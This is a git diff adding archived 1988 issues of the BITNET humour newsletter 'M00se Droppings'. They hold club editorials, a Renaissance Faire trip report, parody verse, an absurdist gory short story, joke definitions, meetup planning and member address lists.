The Anachronist talked to his Sysop (or equivalent), and though +he was unable to get an actual listserv list for us (apparently, they don't +think we're educational), he was able to learn how a normal person may use a +listserv for distribution. So when I have the next issue ready, I'll send it +to him, he'll send it and a command file to his listserv, and it will send the +issue to the chapters. I don't know if the listserv will somehow moderate the +congestion this can cause, but it's by their rules, so we can't get in trouble +for it. + Also, I have just received requests from several people for M00se.Info. By +next issue, we can expect these people to be m00ses, and we'll start discussing +the megathr0ng-a-thon. + That's enough for now, have fun! + + Pickle. + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< This report from Wolverine and Half-Elf. >> + + A recent Thr0ng-A-Th0n took place in Boston, Mass, where members of the +Lansing, Syracuse, and Boston Thr0ngs all met for a weekend in Boston, +highlighted by attending the King Richard's Faire. Also, there were lots of +unofficial SABRE SIGHTINGS all weekend long, though we can't really prove any +of them. Well, here is how it went: + + Friday Night: At 7:00 pm, Half Elf and Wolverine of the Lansing thr0ng met up +in Syracuse with Niniane and Guardian Angel of that thr0ng. After loading up +GA's car, we headed off for a long drive to Boston. The ride itself was fairly +uneventful, except for lots of general silliness in the car. (And some rather +poor singing in Wolverine's part.) Arrived in Boston, and then discovered that +the directions Sabre gave us to get to his apt were SCREWED UP. So we ended up +circling several streets and had a minor run in with an adamantium-armored cab. +Amazingly, the cab driver spoke English and was polite. Recovering from his +politeness, we got back in the car and began trying to find Sabre's domain. +After some more circling, we finally found it and entered, rather tired +considering it was about 2:30 am or so. There we unofficially met Sabre and +his room mates Robin and Andy (rorschach). Went to bed. + +Saturday: Woke up to some lovely drizzle, and decided to wander down-town +Boston. Had lots of fun visiting all of the places Sabre has been promising +to show us "if you ever are in Boston." Also got some minor repairs done on the +car. Later that afternoon, we met up with Paladin (P-Word!!!) and some others, +and went back into town, where we saw lots of neat stuff. (Pretty neat +balloon-blowing mime, and THE greatest ice cream shop in the World!) Lots of +innuendoes flying around all day, as usual, and I, Wolverine, spent a great +deal of time blushing. (Still not quite as badly as Paladin though...we +tortured him on the trolley...hee hee hee...) + +Sunday: Ren Faire at King Richard's!!! At 9:15 am, three car loads of us +(all in costume, of course!) headed off, a bit bleary-eyed but ready for one +hell of a good time. And we only got lost once along the way, and that wasn't +that bad at all. (Stopped at a Mom-and-Pop store for directions...should have +seen the people in the parking lot when everyone started piling out of cars in +cloaks and boots and swords and other period-type garb.) Arrived at the Faire a +bit before opening, and watched the entertainment that was going on. (Appeared +the Queen's diary had been stolen, containing some rather scandalous +information....) + Once on the grounds, we all split up for a bit, everyone going their +separate ways for a bit. (GA and Wolv went to check out the armories...and the +wenches. More on that later.) Some folks like Robin, Niniane and Half Elf got +their faces painted (very nice designs), and lord knows what some others did. +'Twas a slightly chilly day, or so everyone says. [I had a nice wool cloak +on...nice and warm.] We all met together for the first joust of the day, and +stood in the bad guy's section. [Long Live Sir Steven! 'What makes the grass +grow strong and tall?' BLOOD BLOOD BLOOD!!!!] We won the early contest, and +the joust ended with Sir Thomas [the wimp] whining that Sir Steven didn't fight +fair, and he laid down a challenge for a joust later in the day to the death. + Once again, everyone split up a bit. Several of us went to see the Elves +at one of the stands, and after a bit, GA and I went back to the Gypsy Camp. +[More on that later...get the impression that there was something Wolvie liked +at the gypsy camp??? Read on.] We all got asked lots of questions by other +guests, as most of them were dressed as mundanes and thought we were all part +of the group. While at Excalibur, Wolv tried purchasing a young Dryad that was +up for auction, but Nin stopped him. "You can rape all the wenches you want, +but you can't eat any of the children!" was a phrase heard often that day. +Watched a dance performance put on by the gypsies, which was rather +interesting. [and suggestive..poor Paladin blushed mighty heavily.] + Other highlights were the Singing Executioners ["Well the place is really +jumpin' and the bodies are a-thumpin' at the Block!"], lots of really neat +shops and stands, wandering minstrels and actors, various performances, and of +course, the final joust of the day, where Sir Thomas defeated Sir Steven. [He +cheated..he carried a loaded horse! Anyway, Sir Thomas wets his armor, that +no good English wiper of other people's bottoms!] After the joust, we headed +back to the gypsy camp one last time. I shall now hand the keyboard over to +Half Elf, who will relate the incidents that occurred, while I go sit in the +corner and blush. + +************************************************************** + + As well he should blush.....Yes folks, my dear bigBro found a *very* +interesting gypsy in their camp area and convinced her to deposit his sodalite +crystal where no crystal has ever gone before......off the shoulder blouses can +be **SO** handy... And the fun did not stop there, she also willingly blessed +him with numerous kisses to thank him for the privelage of sporting his +sodalite in her cleavage (are you blushing yet Paladin?). + Upon hearing of this incident, both Niniane and I [Half-Elf] declared that +we must meet this fair maid that had so entertained our brother......Wolv +obliged by introducing us at the end of the day in combination with his bidding +her adiue...This lead to more, umm, lip smacking, amazing dips and a token of +the fair maiden's fondness for our favorite Trelf....We are unsure where this +is at the moment altough rumor has it that he keeps it close at hand. At the +time of this report, Wolv continues to wander about with a self-satisfied, +half-grin on his face, occasionally walking into objects, but doing no major +harm to himself (our furniture is another story however...lovesick trolls... +:-)). + Now, gentle readers, I must let you know that I do not usually relay tales +of kiss and tell, but this is Wolv's penance for other events which occured at +the Faire which will be related by the same post-haste. + +************************************************************** + + Ah, well, Wolv back here...wasn't that interesting, eh folks? Penance, +you ask? Well, after I had placed my bid for the Dryad, we all got to talking +with the elves at the booth there. At one point the little elf here got +confused by the person who ran the booth, thinking he wanted to buy me for +dinner. It was then stated that this was not so, but that he wanted to take +Half Elf TO dinner. There was then a great deal of talk about BUYING Half Elf, +or at least some of her favors. Sabre was challenged to an arm wrestling match +by one of the smaller elves, with the prize being to kiss Half Elf. Sabre +easily defeated his opponent and collected his prize. + The owner of the booth declared that he wanted a try at the prize, and +challenged me, her BigBro, to a match. Now, being the large troll that I am +(and somewhat confident in my strength), I took his challenge happily, with the +condition that should I win, I would recieve a similar prize from one of his +women. Well, he was rather strong, and his women were rather beastly, and I +lost the match. He then offered Sabre a chance at redemption, with a +double-or-nothing wager, which Sabre promptly accepted and lost. So, as the two +of us bashed our selves on the heads for failing Half Elf, the owner collected +the prize. (And I must say that Half Elf really didn't seem to resist the idea +all that much... needle needle needle.....*grin*) + +Monday: We were supposed to leave to go back to New York this day, but as the +car needed some more work due to our meeting the cab on Friday, and no body +shops were open because it was Columbus Day, our vacation was extended an extra +day. Once again wandered Boston some more, visiting such places as the Trident +Book Store, a pet shop, and other neat places. And that night, four brave +souls, Half Elf, Sabre, Wolverine and Robin set out on.....THE QUEST FOR +PARMESAN CHEESE! + Few people know that Parmesan cheese is the most rare substance in Boston. +We searched for TWO HOURS looking for Parmesan cheese. We started getting +delirious, yelling at cars for cheese, yelling at apartments for cheese, even +asking one shop owner if they had any goats we could buy to make the cheese +ourselves. Finally we settled for canned Kraft Pseudo-Parmesan cheese. Now, I +can hear you asking "Why did they need Parmesan cheese?" For Fettucini +Alfredo, of course! You see, Wolverine's are part Italian, and make on hell of +a Fettucini Alfredo. [Also, it is an inexpensive way to feed seven people who +were low on cash.] + Finally getting back at the house, we started making the Alfredo, and of +course the stove was an electric one, and poor at that, so it took over an +hour for the water to boil for the fettucini! We finally had dinner somewhere +around 9 p.m. + +Tuesday: Finally got a place to do some work on the car. Stayed downtown for +a few hours, and finally headed back to our home towns. After a long car ride +we arrived at Syracuse, where Wolverine and Half Elf took another 1.5 hour +drive back to Lansing, their home thr0ng. Tired and cramped, yet satisfied +from a very fun vacation, they tossed their luggage into a corner, went to +their respective bedrooms, fell a sleep, and dreamed dreams typical of m00ses +returning home. [And no, those dreams don't include Annette Funicello rolling +in jello! That's sick, and I'm shocked at you for thinking of it!] + +The End. [Until the Faire hits Sterling next summer... + I WANNA GO BACK!!!!!!!!!!!!!!!!!!!!!!!!] + +- The above report compiled by Wolverine and Half Elf. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< From Sean Blinn >> + +The Tale of Young Danforth +(Plagiarised from the tale of Sir Robin, from Monty Python and the Holy Grail) + +And so the members of the Class of 1969 of DePauw University went their separate +ways. Young Danforth went into the Indiana National Guard, accompanied by his +favourite minstrel. + +Minstrel: +Bravely bold young Danforth +Rode forth from Huntington. +He was not afraid to die, +Oh, brave young Danforth. +He was not at all afraid +To be sent to Vietnam. +Brave, brave, brave +Brave young Danforth. + +He was not in the least bit scared +To land at Cam Ranh Bay. +Or to fight the Viet Cong +In the Tet Offensive. +To leave his privileged home +And his wealthy family, +Who got him out of combat; +Brave young Danforth. + +He stayed at home and he wrote press briefs, +And he stayed away from the Viet C., +And he talked his way into legal school, +And he -- + +Danforth: I think that's enough music for now. + + Suddenly, in front of young Danforth, a monster loomed: the dreaded Draft +Notice! For several seconds, our hero wondered what to do. Then, suddenly, he +decided! + +Minstrel: +Brave young Danforth ran away. + +Danforth: No! + +Minstrel: +Bravely ran away, away. + +Danforth: I didn't! + +Minstrel: +When danger reared its ugly head, +He bravely turned his tail and fled. +Yes, brave young Danforth turned about, +And gallantly he chickened out... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< And now, M00se Illuminati Press presents... >> + + Mike's Saturday Morning + + A normal story by Nathan Irwin + + + One Saturday morning, Mike James woke up, as he often did on +Saturday mornings. This was not unusual. As soon as he woke up, he +became conscious of the sun shining into his room through his window and +of the birds chirping outside. Since this this story is set in the late +spring, this was not unusual, either. However, Mike also noticed that it +was 9:00 am, which was unusual, since Mike normally slept in until +11:00 am, at least on Saturdays. + + Taking all these things into consideration, Mike decided that, thus +far, two things about this day were perfectly normal, and one thing was +not. Looking at the overall picture of things, Mike concluded that this +was basically a normal day. + + He couldn't have been more wrong. + + Having decided that this was a normal Sturday morning, Mike decided +that he would take a shower. This, too, was quite normal. Even for a +Saturday. However, as he was walking to the bathroom, he heard a loud, +high-pitched noise coming from downstairs. This was definitely unusual, +especially on a Saturdy. Since he was still only half awake, it took +Mike a full minute to realize that this high-pitched noise was his mother +screaming at the top of her lungs. Screaming at the top of her lungs was +not something to which Mike's mother was accustomed. + + It was, in fact, so unusual that Mike decided it would be best to go +downstairs and see what unusual circumstances could be causing his mother +to behave in such a peculiar manner on this Saturday morning in late +spring. However, as he began to go down the stairs, the screaming +suddenly stopped. Mike concluded that, since his mother had halted her +unusual activity, everything must be back to normal. He also concluded +that, if everything was back to normal, he could continue with his +shower. Hearing no objections, he did so. + + After finishing his shower, Mike dried himself off and put on some +clothes. This was not, in and of itself, unusual. Having done so, he +went downstairs. He then proceeded to enter the kitchen, which was +another thing which happened to not be unusual. In fact, it was +something he did quite often, even on Saturdays. + + However, Mike was quite surprised by what he saw in the kitchen. +For Mike's mother was lying prone on the kitchen table, with blood, gore, +and various green stuff spewing out of her body, and dripping all over +the table. And the floor. And into a bowl of Cheerios on the table. +The flow of this muck was facilitated by a hole in her abdomen, about the +size of a basketball. + + Mike, by the way, was an excellent basketball player. His father +hoped that Mike would go to college on a basketball scholarship and, one +day, play professional basketball. + + This, of course, is totally irrelevant. + + Mike was, of course, very upset. After all, his mother appeared to +be quite dead, and seeing your mother dead is an upsetting experience for +anyone. Not to mention, quite unusual. Even on a Saturday, when unusual +things are extremely likely to happen. At least, in this story. Of +course, it wasn't his mother's death that upset Mike so terribly much, it +was her creating an awful mess all over the kitchen. And dripping on his +breakfast. Rendering it quite inedible. Even on a Saturday. + + Then, Mike took a look around the room, and noticed a strange object +in the far corner. Upon closer inspection, it turned out to be a basket- +ball. Mike's basketball. Covered with the same blood and muck that was +seeping out of his mother's carcass in smaller and smaller quantities. + + Mike was, as I have already stated, a fairly good basketball player. + + I suppose I should mention that Mike presumed that his mother was +quite dead. She wasn't. In fact, she lived a few more hours. In +excrutiating pain, I might add. As if soeone had pushed a basketball +completely through her body. Which, apparently, someone had. But, +anyway, she died. Eventually. + + Mike, of course, was quite traumatized by the whole thing. He +never could eat Cheerios after that. + + Oddly, that day, Mike gave up basketball for good. You see, after +that day, he found basketball incredibly boring. He was, however, quite +interested by the muck and gore that he had seen oozing out of his +mother. In fact, he found it fascinating. He even kept a sample in jar, +in his room. He went on to study anatomy and learn all about those +little things in the human body. Many of which, he had seen in his +mother. He went on to become a brilliant, albeit eccentric, surgeon. He +even performed the world's first intestine transplant. + + And lived happily ever after. + + Even on Saturdays. + + That, of course, is totally irrelevant. + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< More for the M00se Illuminati dictionary, pilfered by Wolverine. >> + + Well folks, here's more from that wonderful tome of knowledge and +all-around m00seiness, "The Complete Discordian M00semas Celebration Handbook" +by Andalusia the Heretic. + +M00sletoe -- Sacred plant which grows on m00ses, once part of ancient rites + involving wonderful orgies (see 'M00zola Party'), now reduced to the + tradition that you must kiss any m00se upon which it is growing. +M00swich -- Velveeta, mayo, and a m00se between two slices of Wonder bread; + also any Witch Initiated into the M00steries of Bullwinkle. +M00siah -- Spiritual leader whose coming was prohpesied in the Old M00stament; + at M00semas celebrations, the glad cry rings out, "The M00siah + comes! (and comes, and comes, and comes, and comes....)" +M00slim -- A Middle Eastern sect of the M00steries, whose adherents believe + that "There is but One M00se, and Bullwinkle is His Name." They + worship in temples called m00sques. +M00seltov! -- A traditional cry of blessing and congratulations, called out to + anyone seen in public in the company of a m00se. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< And now, a quote from Bard. >> + +`When in Danger or in Doubt +Run in Circles, Bl00p and Shout' + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +As previously stated, an updated list will be mailed after this issue. diff --git a/textfiles.com/magazines/M00SE/m00se17 b/textfiles.com/magazines/M00SE/m00se17 new file mode 100644 index 00000000..5834512f --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se17 @@ -0,0 +1,154 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #17| Disclaimer: The Editor will place almost anything | Oct. 15, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Greetings once again, fellow m00ses! First of all, I would like to +announce a wonderful and truly m00sey event: RED ROCK MUD PUDDLE is our 100th +chapter! This means we can begin discussing the Megathr0ng-a-thon that we've +been waiting for! See EVENTS for details... + I would like to suggest, once more, a way to get to know our fellow +m00ses. I made this suggestion over the summer, and only one person answered. +I would like to start at the top of the m00se list, and print a brief ID file +about a m00se each month. Your standard BITNET ID will do, though if it's +longer than 25-30 lines it should be cut down to there. This way, we'll learn +who we're associating with. Those of you who don't know what an ID file is +will get the idea pretty quick. Anyway, unless there is violent opposition to +this idea, I'm going to start it next issue. That means YOU, G00se, get the +honor of going first! If you don't want to, let me know ASAP and I'll move +down the list. + Also, election time is coming. I don't know about the rest of you, but I +refuse to vote for Bush or Dukakis. If any of you feel the same way, and were +planning on not voting, or on writing someone in, may I suggest you vote for +Ron Paul, the libertarian candidate? He stands no chance of winning, but if +enough people vote for him, maybe the percentage of the popular vote he gets +will say something about what we thought of the choices this year. + Lastly, some people have been asking about the new distribution via +LISTSERV. To clarify: You *do not* need to subscribe to the LISTSERV. The +Anachronist will simply send the server a list of all people to forward +droppings to each week, and it will take care of the rest. + Anyway, on with the issue.... + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + + It's time to start planning the Megathr0ng-a-thon! Here's what we need: +A place that can handle a large number of weird people. I don't know how many +m00ses will be able to make it, but I suspect it will be rather a lot. We're +not exactly swimming in moolah down here, so renting a convention center is out +of the question. It also looks like it will be a winter event, so camping is +probably out. If we hold it here in or near Hartford, I can provide a list of +hotels and rates for people, but I'd like to hear other suggestions first. + The other major consideration is when. If we hold it here, I'm going to +try to get it to coincide with Hartford's Winterfest, which should be lots of +fun (especially if there's snow on the ground!) MAYBE we could hold it during +winter break.... + Anyway, let's start talking about this! Send discussion on this matter to +CSBB.M00SE, our CSNEWS discussion list, so that we can carry this on faster. +Those of you not subscribed, even those at the Wesleyan thr0ng who couldn't +sign up before, try again. Supposedly it has been fixed, so that off-BITNET +people can subscribe. Send the following command to CSNEWS@MAINE: + + CSBB SUBSCRIBE M00SE CSNOTICE + + I don't recall if this is supposed to go in the subject line or the main +text of a letter, so try putting it in both places to be safe. All important +discussion on this matter will be reprinted in M00se Droppings for those who +can't subscribe. + Until later, + + Pickle. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< Although he hasn't an episode for us this week, CHAOS Engineer has plans. >> + +Greetings gentle readers, + + Although there is scheduled to be an episode of Superm00se this issue, +due the combination of writer's block and one and one-half tons of mindless +acadamia to deal with, it won't be ready till next week. + + Also, M00se Wolverine of the Lansing thr0ng has requested a guest shot +in the upcoming episode. If there are any other m00ses out there who would +like a cameo appearance in a future episode of Superm00se contact me. + + Coming next week, Superm00se joins forces with the League of Super +Veggies to battle the Velta Vermin(!!!) + + CHAOS Engineer + (JBANKERT@SUNRISE.BITNET) + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + + A matter of much concern is upon us. You may recall that Sabre has +disappeared. Sabre is a member of the Boston U thr0ng, but he originally came +from the Maine thr0ng. Unofficial sightings abound, but we still don't know +where he is. + This week, the Maine thr0ng was all but wiped out. Rainmaker is all that +remains. According to the mainframe there, the rest of the m00ses' accounts do +not exist. Something is killing the m00ses. It begins in issue #17....where +will it end? We must do something about this. Anybody with information, +please help. + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +ADDITIONS + +Boston University thr0ng ENLDC8C @ BUACCA Paladin + +Buffalo thr0ng V123P62M @ UBVMSC Lorelei + V078QM32 @ UBVMSD F00nels + V083PBXV @ UBVMSD Sindar + V098PZJD @ UBVMSD Cardinal M00se + V101PYRW @ UBVMSD Villager M00se + V110JQ34 @ UBVMSD The Reverend M00ster + V133NNUW @ UBVMSD BigBadM00se + +HABiT SH06078 @ UAFSYSB Sam Huntsman + +Northeastern U. ACM_MDB @ NUHUB The_Sage + +- - - - - - - - - - - - - - - - - - - - + +REMOVALS + +Maine thr0ng IO80034 @ MAINE The Dragon + +- - - - - - - - - - - - - - - - - - - - + +CHANGES + +Villanova thr0ng: The Doctor is now using WATER @ VUVAXCOM + +Wesleyan thr0ng: Damsel is now using AG @ WESLEYAN diff --git a/textfiles.com/magazines/M00SE/m00se18 b/textfiles.com/magazines/M00SE/m00se18 new file mode 100644 index 00000000..d6f8172a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se18 @@ -0,0 +1,176 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #18| Disclaimer: The Editor will place almost anything | Nov. 20, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Welcome to Issue #18. A word of wisdom to you all: Do NOT spill apple +cider in your computer keyboard. It requires heavy cleaning. + It appears that the Anachronist's LISTSERV command works, from what +I hear you all received your copies of issue #17. It wasn't a month late, +incidentally; I marked the date wrong. + To lessen the load on BITNET, I am attempting to get a list at YALEVM +to take care of half the chapters; there is a possibility that Kamikaze +will be able to get one at Villanova as well. There won't be any major +changes, however; at most, a change in the list you receive your issues +from. + Without further ado, on with the issue. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This letter from Mommydammit. >> + +Bill, + + Markus and I were driving north on highway 301, just north +of the Nice Bridge in Maryland... and we saw a M00se l0dge... is it +ours??? We bl00ped to it just in case!!! + + Glad to see all the chapters adding up! + + BL00P! + + pamela/mommydammit + +<< Mommydammit: I don't know. But best to bl00p just in case. --Bill >> + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< Reprinted from CSBB.M00se, for those of you not subscribed. >> + +Fellow M00sers: + + It has come to my attention that there are not enough m00se thr0ng-a- +th0ns, due to the locale of many of the m00se chapters, and the funds +accessable to the conspiracy group. So, I would like to enter a proposal for a +m00se throng-a-thon here in Fayetteville, Arkansas, or any surrounding area in +Ark, OK, or TX for the Christmas holidays. It is expected that all the +followers of the UAFSYSB HABiT thr0ng (which can be a lot at times) will +attend, or as many as we can send. I hope that this is somehow accepted by some +of the chapters around the surrounding area, and that we can get this thing off +the ground. If not, Oh Well, I guess we will just have to have the usual +Christmas. Here in Arkansas, we have a lot of things to offer. + +M00seMan + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< This from Dave T. Dead. >> + + Heard this on Dr Demento... + + + Dem M00se Goosers. + +How 'bout dem m00se goosers ain't they cloose? +Up in dem boondocks goosen' dem M00se, +Goosen' dem HUGE m00se, +Goosen' dem tiny, +Goosen' dem middly m00se in dey heinie, + +How 'bout dem M00se goosers ain't dey Dum'? +Some use an umbrella, +Some use a thumb, + +Dem obtoose M00se goosers sneeken' through the woods, +Pokin' dem snoozy M00se in dey goods! + +How to be a M00se gooser? +It'll turn ya puce! +Get yer gooser loose and rouse a droozy M00se!! + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< More Beez Babble >> + +I think we should make it a law that we remain M00ses and never change to +something like Buffal0s. I know this sounds unimportant, but with the +rising p0wer of the Superthrong, it may be dangerous! + +As of yet there are is only one other member of the Suave ladies men in +dry clothing and I haven't heard from her in months. This trend towards +men being wet and macho scares me since it was Manly men in wet clothing +which brought about such things as: the Reagan Administration, New York +Yankees, The Bay City Rollers and sweat. + +Are you aware of the song by Queen called M00setafa? Its on the Jazz album +and is required listening. + +Just remember what Nietchze (sp!) said about Love: + Love is riding through the Siberian tundra and having + your snowmobile tip over. At night the ice weasels come. + +Which again reminds me that the big thing in my Bud House now is ice weasels. +They are cousins of Otter Pops except they don't come in various tasty flavors. +Not that this is really funny, but if something humorous does occur or I happen +to mention ice weasels over and over again, you know why. + +As usual, anything I say can be distorted and/or published as you see fit since +if you didn't do it, the sys progs who read everyones mail because they work for +big brother would read it (I know sucky sentence structure!) and would use it +against me in case I ran from President (not for, but from). Blah blah blah. + +Tag! You are it! + +Beez of the Crumpled face variety + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +PLEASE ADD + +Buffalo thr0ng V122QQVZ @ UBVMSD Sweeper M00se + IN%"JJZ @ S.CC.PURDUE.EDU" + ChickenM00se + +HABiT DB06103 @ UAFSYSB David Boddie + +Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown) + +Portland thr0ng IP60591 @ PORTLAND Centauri + +Stony Brook thr0ng JROSENSH @ SBCCVM Joanne Rosenshein + +SUNY at Brockport thr0ng DS1437 @ BROCK1P Don Schleede + MW2440 @ BROCK1P Mark Weiland + +Villanova thr0ng 59401463 @ VUVAXCOM Starscream + +- - - - - - - - - - - - - - - - - - - - + +CHANGE + +from: V050NRGD @ UBVMSA JetStar +to: V054NN84 @ UBVMSA Foto (AKA PacifistM00se) + +rom: VY8630 @ BINGVAXA Red Rock Mud Puddle +to: FR0250 @ BINGVMA diff --git a/textfiles.com/magazines/M00SE/m00se19 b/textfiles.com/magazines/M00SE/m00se19 new file mode 100644 index 00000000..7484ee42 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se19 @@ -0,0 +1,397 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #19| Disclaimer: The Editor will place almost anything | Nov. 28, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Hello all! Bl00p! Welcome to Issue #19. There is much discussion of the +coming MegaThr0ng-a-thon in this issue; it being important, I suggest you read +it and get back to me or the csbb.m00se discussion. + Also, the list owner at Yale turned down my request to use his listserv +for Droppings distribution, so we're still working from one listserv only. If +anyone can get a list elsewhere, please do! We need to spread this thing out a +little. + Lastly, the listserv does not like off-bitnet addresses. The only +off-bitnet chapter it can send to is Larry at B.U. So would those of you near +the other other-network chapters please continue to forward mail to them. + Hmm. That's it for this editorial. On with the issue! + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< A note from Jonathan >> + +BTW: could you put a query in M00se Droppings about how many M00ses are on the +internet, and how many of them would like to expand operations to there? + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< There has been much discussion about the MegaThr0ng-a-thon on the M00se + discussion list on CSNEWS. For those of you who are not subscribed, and + for those of you who have forgotten what's been said, a recap of the + highlights. >> + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +On this Mega-Thr0ng-a-thon... + I was recently in a Thr0ng of chapters from the Buffalo SUPER THR0NG, +(about 6 of us), and one of the m00ses sugeested holding either THE M-T-a-T, or +at least *A* M-T-a-T here in Buffalo, as we have almost 20 chapters right here. + What say? Anyone interested? + DangerM00se + Pat + et. al. +:^> + +- - - - - - - - - - - - - - - - - - - - + +Hey! Help! + +What about us lower-in-the-corner-on-in-the-out-of-the-way people? There are a +lot of m00se fans here, a lot that don't have id's that would like to +participate in this M-T-a-T. I just cant lift off and fly to Buffalo. I know +there are a lot of chapters there, but I think you could get a better +participation if you hold it closer to the middle of the US. Like Indiana for +instance. You could get all us Southerners (AR,OK,TX,MO) ppl along with +yourselves. I think the event is cool and everything, but I think we should +pick a spot that will have more participation than Buffalo. + +M00seMan + +- - - - - - - - - - - - - - - - - - - - + +C'mon David, what about us in the north and west? The Alaska thr0ng? We've +pretty much resigned ourselves to not going, because even if you guys held it +in Seattle, it would still cost us a grand to get there and back. + + Jonathan Clemens + +- - - - - - - - - - - - - - - - - - - - + +Right on, I mean, what *true* m00se is going to want to trek *all the way to +CT*? And when we all get there? Have you people looked at a map lately? CT is +small...we'd never fit all the chapters in the state without destroying it in +the process. So, I propose we hold the Thr0ng-a-Thon in a nice, big state with +plently of wide open spaces. It's winter, the farmers aren't using their wheat +fields for anything, we can just move in and take over. Just think, Washington +State's Whitman County (the proposed site) is probably bigger than the *entire* +state of CT, and Washington has *plently* of counties to chose from. + +So, what do you say? Give chilly Pullman, Wa a try, it's not quite the last +place on Earth, but darn close! + + BardM00se + +- - - - - - - - - - - - - - - - - - - - + +Greetings all, + +CT might be small...It might be only a two hour drive from one end to the other +but..but Washington is dullsville USA ( ;^) sorry bard )... + +We of the Central CT State U thr0ng support our state..( 'Oh connecticut ... +(break into song..) our lovely sewer pit..) + +Connecticut: If you can't spell it FAKE IT! +Bigger isn't nessarily better.. +Its not the size that counts.. + + Vegi-m00se..(sometime goblin) + Salmon m00se..(sometimes awake) + 